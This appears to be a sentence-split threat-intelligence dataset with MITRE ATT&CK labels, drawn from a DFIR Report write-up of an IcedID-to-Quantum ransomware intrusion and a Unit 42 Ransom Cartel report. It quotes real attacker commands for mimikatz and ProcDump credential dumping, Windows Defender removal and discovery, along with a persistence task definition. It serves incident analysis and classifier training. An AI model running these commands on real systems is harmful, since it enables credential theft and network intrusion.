{"sentence": "Conclusion Ransom Cartel is one of many ransomware families that surfaced during 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Based on the fact that the Ransom Cartel operators clearly have access to the original REvil ransomware source code, yet likely do not possess the obfuscation engine used to encrypt strings and hide API calls, we speculate that the operators of Ransom Cartel had a relationship with the REvil group at one point, before starting their own operation.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Due to the high-profile nature of some organizations targeted by Ransom Cartel and steady stream of Ransom Cartel cases identified by Unit 42, the operator and/or affiliates behind the ransomware likely will continue to attack and extort organizations.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Cortex XDR: Identifies indicators associated with Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Local Analysis detection for Ransom Cartel binaries on Windows.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "DNS Signatures detect the known command and control domains, which are also categorized as malware in Advanced URL Filtering.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "If you think you may have been compromised or have an urgent matter, you can get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Indicators of Compromise Ransom Cartel Samples 9935DA29F3E4E503E4A4712379CCD9963A730CCC304C2FEC31E8276DB35E82E8BF93B029CCA0DE4B6F32E98AEEBD8FD690964816978A0EB13A085A80D4B6BF4E55e4d509de5b0f1ea888ff87eb0d190c328a559d7cc5653c46947e57c0f01ec52411a74b343bbe51b2243985d5edaaabe2ba70e0c923305353037d1f442a91f5 Network-based IoCs 185.239.222[.]240 TOR Exit Node108.62.103[.]193 TOR Exit Node185.129.62[.]62 TOR Exit Node185.143.223[.]13 Bulletproof hosting server185.253.163[.]23 PIA VPN exit node Indicators of compromise and Ransom Cartel-associated TTPs can be found in the Ransom Cartel ATOM.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Updated Oct. 15, 2002, at 11:15 a.m.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Malicious ISO File Leads to Domain Wide Ransomware -", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The DFIR Report url: https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/ IcedID continues to deliver malspam emails to facilitate a compromise.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This case covers the activity from a campaign in late September of 2022.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This intrusion began by the execution of IcedID malware contained within an ISO image.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ISO file was delivered to the victim as part of a malspam campaign.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Delivering payloads using an ISO image is a common technique observed in several prior cases.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This technique has grown in use as threat actors look to evade Mark-of-the-Web controls.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ISO image delivered a hidden directory containing a IcedID payload and a batch file.", "labels": ["T1059.003", "T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After being successfully mounted, the end user only sees a malicious LNK file named documents inside the virtual hard drive.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Clicking on the LNK file executes the batch file, which copies the IcedID payload to the user’s AppData\\Local\\Temp folder and loads it using rundll32.", "labels": ["T1059.003", "T1204.002", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A scheduled task was created at that time to maintain persistence on this host as well.", "labels": ["T1053.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Upon the execution of the IcedID payload, discovery commands using Windows utilities such as net, nltest, and ipconfig were executed to discover domain trusts, domain admins, workstation configuration, etc.", "labels": ["T1016"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This led to another round of discovery using net followed by AdFind.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor installed Atera and Splashtop remote access software via an MSI file named hp.msi.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor then proceeded to exploit CVE-2020-1472, aka ZeroLogon.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was followed by a batch script used to perform DNS lookups on hosts across the environment.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They then repeated the install of the remote access software package.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Some two hours later, a Cobalt Strike beacon named Nigu.exe was executed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "With this beacon, the threat actors succeeded in elevating to SYSTEM on the beachhead host and proceeded to dump LSASS memory.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Another round of activity took place using system tools, batch files, and Adget.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These beacons, however, continued to crash and fail to run.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around an hour after starting the RDP session, the threat actors executed a PowerShell command to disable Windows Defender Antivirus on the host and reviewed Group Policy Objects for the domain.", "labels": ["T1021.001", "T1484.001", "T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The Cobalt Strike beacons then began to execute successfully on the domain controller.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Now, with Cobalt Strike beacons on the domain controller, the threat actors continued with discovery actions using Invoke-ShareFinder and other PowerShell and system utilities.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A few hours later, the threat actors installed the RSAT tools onto the beachhead host.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "However, they appear to have been unfamiliar with the tools and called up the help menu before using Get-ADComputer to collect the details on hosts in the environment.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Back on the domain controller, ProcDump was used to dump LSASS memory.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The PowerShell command Get-EventLog was then used to collect logon events on all domain administrators in the network.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors went quiet for around seven hours.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "When they returned, several more Cobalt Strike beacons were launched and several different Mimikatz implementations were executed on the domain controller, including a Mimikatz executable and a PowerShell implementation.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For the next several hours, repeats of previous discovery actions and additional beacons executed using remote WMIC commands, were observed.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During this time, Windows event logs point to the threat actors completing DCSync activities on one of the domain controllers.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A new batch file, localdisk.bat, was also executed using remote WMI commands, to collect disk data on hosts around the environment.", "labels": ["T1047", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These discovery actions were completed several times again in other various batch files.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the start of the fourth day, the threat actors continued to repeat their previous discovery and beacon spreading activity.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Near the end of the day, the threat actors moved to install AnyDesk on several servers including a backup management host, likely as a further means of persistence or later command and control.", "labels": ["T1570"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After completing this activity, they used Rclone to exfiltrate copies of the backup files to the Mega.io cloud storage service.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors then staged a ransomware binary named locker_64.exe on the backup server but did not immediately execute it.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around two hours after dropping the file, it was executed using a command line argument, which included a list of hosts to target.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors then proceeded to execute the payload manually in several ways, across various hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Finally, they connected to a domain controller and dropped three scripts; one to copy the ransomware executable to all hosts, one to reset every users password in the organization, and a final one to execute the staged ransomware payload using PsExec.", "labels": ["T1570"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The time to ransomware was just over 78 hours from the initial IcedID infection.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "All domain joined systems were encrypted with Quantum ransomware.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Our All Intel service includes long term infrastructure tracking, clustering, C2 configs, and other curated intel, including non-public case data.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "If you are interested in hearing more about our services, or would like to talk about a free trial, please reach out to us using the Contact Us page.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We look forward to hearing from you.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Analysts Analysis and reporting completed by @_pete_0 and @MetallicHack. MITRE ATT&CK", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This intrusion began by the execution of a malicious LNK embedded in an ISO file (masquerading as a folder).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ISO file was delivered as a ZIP archive via a malicious spam mail campaign.", "labels": ["T1566.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Such activity can be tracked with Event 12 from Microsoft-Windows-VHDMP/Operational.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This ISO file contains a LNK named documents and a hidden directory named max containing a cobalt strike DLL beacon and a batch file.", "labels": ["T1059.003", "T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As we can see below using LECmd from Eric Zimmerman, the file documents.lnk points to max\\eyewear.bat. As a consequence, when the victim clicked on the LNK file, it triggered the execution of the batch file eyewear.bat The batch file eyewear.bat then executed two commands: It first moved a DLL file named eyewear.dat, initially located in a hidden folder named max, to the user’s AppData\\Local\\Temp\\ folder : C:\\Windows\\system32\\cmd.exe /c", "labels": ["T1059.003", "T1204.002", "T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "D:\\max\\eyewear.bat ➝ xcopy /s /i", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "/e /h", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Then, DLL was executed using rundll32.exe : C:\\Windows\\system32\\cmd.exe /c", "labels": ["T1059.003", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After beginning to move laterally, the threat actors used many other execution techniques such as PowerShell and executables run from their interactive RDP session in addition to DLLs.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A number of application crashes were observed across several compromised hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Application crashes are recorded in the Windows Application event log under Event ID 1000 and 1001.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In this case, the threat actors attempted to rectify the issue by deploying new beacons, renaming executable files by either appending a double extension or adding extra characters to the filename (i.e. lsass.exe to lsasss.exe).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Some of these crashes may have been in response to being detected by Microsoft Defender.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These signatures were found in the logs on various hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "HackTool:Win32/NamedPipeImpers.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Decoded from Base64: The decoded PowerShell function is readable in the PowerShell logs:", "labels": ["T1140"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The PowerShell script used is publicly available, and can be found here, along with the CNA script.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "IcedID created a DLL named Utucka.dll just after the initial execution.", "labels": ["T1053.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "<?xml version=\"1.0\" encoding=\"UTF-16\"?> <Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"> <RegistrationInfo> <URI>\\{3A79715D-4FFB-50BE-8F3A-090CE7FB4097}</URI> </RegistrationInfo> <Triggers> <TimeTrigger id=\"TimeTrigger\"> <Repetition> <Interval>PT1H</Interval> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2012-01-01T12:00:00</StartBoundary> <Enabled>true</Enabled> </TimeTrigger> <LogonTrigger id=\"LogonTrigger\"> <Enabled>true</Enabled> <UserId>[REDACTED]</UserId> </LogonTrigger>", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "<Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <Duration>PT10M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context=\"Author\"> <Exec> <Command>rundll32.exe</Command> <Arguments>\"C:\\Users\\[REDACTED]\\AppData\\Local\\[REDACTED]\\[REDACTED]\\Utucka.dll\",#1 --oxoj=\"CategoryBeyond\\license.dat\"</Arguments> </Exec> </Actions> </Task> First execution was observed on Day 1 at 8:00 PM and was repeated every hour.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Schedule ➝ rundll32.exe", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"C:\\Users\\[REDACTED]\\AppData\\Local\\[REDACTED]\\[REDACTED]\\Utucka.dll\",#1 --oxoj=\"CategoryBeyond\\license.dat\" Named pipe impersonation The named pipe impersonation technique was used multiple times on different hosts in order to get system privileges.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This is a common technique used by threat actors, and implemented by the GetSystemCobalt Strike command.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As seen in the screenshot below, GetSystem creates a service and connects to a pipe.", "labels": ["T1059.003", "T1543.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ylfdup > \\\\.\\pipe\\ylfdup", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The beacon creates the named pipe (seen in Sysmon EventID 17) and impersonates the NT AUTHORITY\\SYSTEM account used to connect to the pipe.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The MITRE Cyber Analytics Repository (CAR) details the Get System elevation, CAR-2021-02-002: Get System Elevation Winlogon Token Impersonation/Theft Multiple access to WinLogon with granted access 0x40", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "(PROCESS_DUP_HANDLE) were performed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Such access can be tracked with Sysmon event ID 10 (ProcessAccess).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As explained in this blog written by Jonathan JOHNSON, opening a handle to WinLogon in order to duplicate the token and call ImpersonateLoggedOnUser is a known Cobalt Strike technique.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ZeroLogon On the second day of the intrusion, a spike in NetLogon traffic was observed from the beachhead host to a domain controller.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472) ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1 ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Mark-of-the-Web Bypass The threat actors delivered the initial malware as a zip file, with the contents of a ISO file, which contained their payload to gain access to the target environment.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These packages are designed to evade controls such as Mark-of-the-Web restrictions.", "labels": ["T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Windows Defender tampering On one host, the threat actors ran the following command to try and clear the way for their activity, likely due to the difficulty the threat actors were having with beacons crashing.", "labels": ["T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Uninstall-WindowsFeature -Name Windows-Defender-GUI This command was downloaded from a remote site to a file named pon!.txt and then executed locally.", "labels": ["T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Process injection Multiple suspicious calls to the function CreateRemoteThread (Sysmon Event ID 8) were observed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As a result, we observed abnormal winlogon.exe process behavior, winlogon.exe performed DNS requests (Sysmon event ID 22) to a Cobalt Strike C2 domain guteyutu[.]com.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Several hosts showed rundll32 processes exhibiting common process injection behavior, where the MZ file header is seen in the starting memory address in rundll32 processes with PAGE_EXECUTE_READWRITE permissions.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A sample of a scanning run is displayed below: Host Process ID Process Name Command Line Yara Rule SERVERA 568 winlogon.exe winlogon.exe win_cobalt_strike_auto SERVERA 4284 RuntimeBroker.exe C:\\Windows\\System32\\RuntimeBroker.exe -Embedding win_cobalt_strike_auto SERVERB 9936", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-s LSM win_cobalt_strike_auto BEACHHEAD 1888 svchost.exe C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-s AudioEndpointBuilder win_cobalt_strike_auto BEACHHEAD 2220 winlogon.exe winlogon.exe win_cobalt_strike_auto BEACHHEAD 7032 rundll32.exe C:\\Windows\\syswow64\\rundll32.exe win_cobalt_strike_auto SERVERC 3328", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\" >> c:\\programdata\\mimikatz\\creds.txt C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1003.001", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "mimikatz.exe privilege::debug sekurlsa::logonPasswords full samdump::hashes exit > \"c:\\programdata\\creds.txt\" C:\\Windows\\system32\\cmd.exe powershell -ep bypass -C \"import-module .\\katz.ps1;Invoke-Katz\" > mimi.txt DCSync Credentials were also dumped via DCSync using two compromised high privilege accounts.", "labels": ["T1003.001", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 - DS-Replication-Get-Changes-All 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - DS-Replication-Get-Changes DCSync was observed across 12 events, with separate events for each object ID.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "It is likely the operator used the Cobalt Strike DCSync command, having observed them already enter this directly in the host OS command shell.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For additional details, SpecterOps has an article covering the DCSync technique.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\SysWOW64\\rundll32.exe ➝ c:\\windows\\temp\\procdump64.exe -accepteula -ma lsass.exe fwtsqmfile00.dmp Classic ransomware discovery stages", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "From the IcedID malware running via Rundll32, the following LOLBAS commands were observed: rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1 ➝ nltest /domain_trusts", "labels": ["T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "/all_trusts ➝ nltest /domain_trusts", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "chcp >&2 ➝ ipconfig /all", "labels": ["T1016"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "➝ net config workstation ➝ systeminfo From Nigu.exe (Cobalt Strike beacon), the following LOLBAS commands were observed: \"C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\Nigu.exe\" ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net group \"domain admins\" /domain ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net group \"enterprise admins\" /domain ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net user [REDACTED] /domain", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Discovery commands observed from other Cobalt Strike beacons using LOLBAS included: systeminfo netstat -anop tcp cmd.exe /C", "labels": ["T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "%%temp%% cmd.exe /C", "labels": ["T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "nslookup hostname RSAT installation to enumerate domain computers properties", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ActiveDirectory.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "DS-LDS.Tools~~~~0.0.1.0” ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-Help Export-CSV ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-Help Get-ADComputer Domain computers’ properties were then enumerated using the Get-ADComputer.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "PowerShell cmdlet and names were exported in a CSV file named ADComputers.csv.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV \"C:\\ProgramData\\ADComputers.csv\" -NoTypeInformation ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-ADComputer -Identity", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[REDACTED] -Properties * ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe get-ADcomputer -Filter * | Where-Object {$a=$_.name; $_.DistinguishedName", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-ne", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"CN=$a,OU=[REDACTED],DC=[REDACTED],DC=[REDACTED]\"} | Sort-Object name | Select-Object name | Export-csv", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\ProgramData\\ADComputers.csv -NoTypeInformation", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "dir /s", "labels": ["T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We did observe mistakes made by the threat actors during hands-on keyboard activities, these included typos and incorrect use of commands.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\system32\\cmd.exe /C nslook up [REDACTED] C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "nslookup USERFirstName UserLastName Another example, the misspelling of administrators: net group administartors /domain", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Further examples included typos of commands: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
